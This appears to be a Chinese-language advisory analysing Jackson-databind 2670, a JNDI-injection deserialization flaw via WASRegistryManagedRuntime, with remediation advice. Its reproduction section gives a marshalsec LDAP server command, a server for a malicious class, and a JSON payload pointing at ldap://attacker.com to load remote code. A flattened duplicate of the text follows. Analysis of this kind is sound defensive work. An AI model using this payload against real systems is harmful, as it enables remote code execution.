Jackson-databind-2670远程代码执行漏洞简单分析
字数 1346 2025-08-25 22:58:29

Jackson-databind-2670远程代码执行漏洞分析与防御指南

1. 漏洞概述

Jackson-databind在GitHub上更新了一个新的反序列化利用类org.apache.openjpa.ee.WASRegistryManagedRuntime,该漏洞编号为2670。这个类绕过了之前Jackson-databind维护的黑名单类,导致远程代码执行风险。

2. 影响范围

受影响版本:

  • Jackson-databind < 2.9.10.4

受影响环境:

  • 项目中包含openjpa-all库
  • JDK版本较低的环境

3. 漏洞原理分析

3.1 漏洞本质

该漏洞仍然是JNDI注入类型,通过反序列化过程中调用危险方法实现远程代码执行。

3.2 漏洞调用链

完整的漏洞利用调用链如下:

WASRegistryManagedRuntime -> RegistryManagedRuntime -> setRegistryName -> getTransactionManager -> lookup

3.3 关键类分析

  1. org.apache.openjpa.ee.WASRegistryManagedRuntime

    • 漏洞利用的入口类
    • 继承了RegistryManagedRuntime
    • 绕过了之前的黑名单限制
  2. org.apache.openjpa.ee.RegistryManagedRuntime

    • 父类,已存在于黑名单中
    • 包含关键方法:
      • getTransactionManager():调用lookup方法
      • setRegistryName():设置_registryName变量

3.4 反序列化机制

漏洞利用需要调用mapper.enableDefaultTyping(),当不带参数调用时,会设置DefaultTyping为OBJECT_AND_NON_CONCRETE

DefaultTyping的四种选项:

  1. JAVA_LANG_OBJECT:当对象属性类型为Object时生效
  2. OBJECT_AND_NON_CONCRETE:当对象属性类型为Object或者非具体类型(抽象类和接口)时生效
  3. NON_CONCRETE_AND_ARRAYS:同上,另外所有的数组元素的类型都是非具体类型或者对象类型
  4. NON_FINAL:对所有非final类型或者非final类型元素的数组

4. 漏洞复现

4.1 复现环境准备

  1. 使用marshalsec监听LDAP服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.com:8787/#hello 1399
    
  2. 启动HTTP服务托管恶意class文件:

    python -m SimpleHTTPServer 8787
    

4.2 复现代码示例

// 示例代码结构(需根据实际情况调整)
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 启用DefaultTyping

// 构造恶意序列化数据
String json = "[\"org.apache.openjpa.ee.WASRegistryManagedRuntime\", {\"registryName\":\"ldap://attacker.com:1399/Exploit\"}]";

// 触发反序列化
mapper.readValue(json, Object.class);

5. 漏洞防御措施

5.1 官方修复方案

  1. 升级Jackson-databind到安全版本:

    • = 2.9.10.4

    • 2.10.0

  2. 官方更新措施:

    • 添加org.apache.openjpa.ee.WASRegistryManagedRuntime到黑名单
    • 注意:父类org.apache.openjpa.ee.RegistryManagedRuntime早已在黑名单中

5.2 其他防御建议

  1. 升级JDK到较高版本
  2. 避免在不必要的情况下使用enableDefaultTyping()
  3. 使用白名单机制替代黑名单机制
  4. 对反序列化过程进行严格限制

6. 漏洞启示

  1. 黑名单机制存在局限性,容易被绕过
  2. 反序列化操作应谨慎处理
  3. 依赖库应及时更新到安全版本
  4. 安全防御应采用纵深防御策略

7. 参考链接

Jackson-databind-2670远程代码执行漏洞分析与防御指南 1. 漏洞概述 Jackson-databind在GitHub上更新了一个新的反序列化利用类 org.apache.openjpa.ee.WASRegistryManagedRuntime ,该漏洞编号为2670。这个类绕过了之前Jackson-databind维护的黑名单类,导致远程代码执行风险。 2. 影响范围 受影响版本: Jackson-databind < 2.9.10.4 受影响环境: 项目中包含openjpa-all库 JDK版本较低的环境 3. 漏洞原理分析 3.1 漏洞本质 该漏洞仍然是JNDI注入类型,通过反序列化过程中调用危险方法实现远程代码执行。 3.2 漏洞调用链 完整的漏洞利用调用链如下: 3.3 关键类分析 org.apache.openjpa.ee.WASRegistryManagedRuntime 漏洞利用的入口类 继承了RegistryManagedRuntime 绕过了之前的黑名单限制 org.apache.openjpa.ee.RegistryManagedRuntime 父类,已存在于黑名单中 包含关键方法: getTransactionManager() :调用lookup方法 setRegistryName() :设置_ registryName变量 3.4 反序列化机制 漏洞利用需要调用 mapper.enableDefaultTyping() ,当不带参数调用时,会设置DefaultTyping为 OBJECT_AND_NON_CONCRETE 。 DefaultTyping的四种选项: JAVA_LANG_OBJECT :当对象属性类型为Object时生效 OBJECT_AND_NON_CONCRETE :当对象属性类型为Object或者非具体类型(抽象类和接口)时生效 NON_CONCRETE_AND_ARRAYS :同上,另外所有的数组元素的类型都是非具体类型或者对象类型 NON_FINAL :对所有非final类型或者非final类型元素的数组 4. 漏洞复现 4.1 复现环境准备 使用marshalsec监听LDAP服务: 启动HTTP服务托管恶意class文件: 4.2 复现代码示例 5. 漏洞防御措施 5.1 官方修复方案 升级Jackson-databind到安全版本: = 2.9.10.4 2.10.0 官方更新措施: 添加 org.apache.openjpa.ee.WASRegistryManagedRuntime 到黑名单 注意:父类 org.apache.openjpa.ee.RegistryManagedRuntime 早已在黑名单中 5.2 其他防御建议 升级JDK到较高版本 避免在不必要的情况下使用 enableDefaultTyping() 使用白名单机制替代黑名单机制 对反序列化过程进行严格限制 6. 漏洞启示 黑名单机制存在局限性,容易被绕过 反序列化操作应谨慎处理 依赖库应及时更新到安全版本 安全防御应采用纵深防御策略 7. 参考链接 GitHub官方更新 相关CVE编号(如有)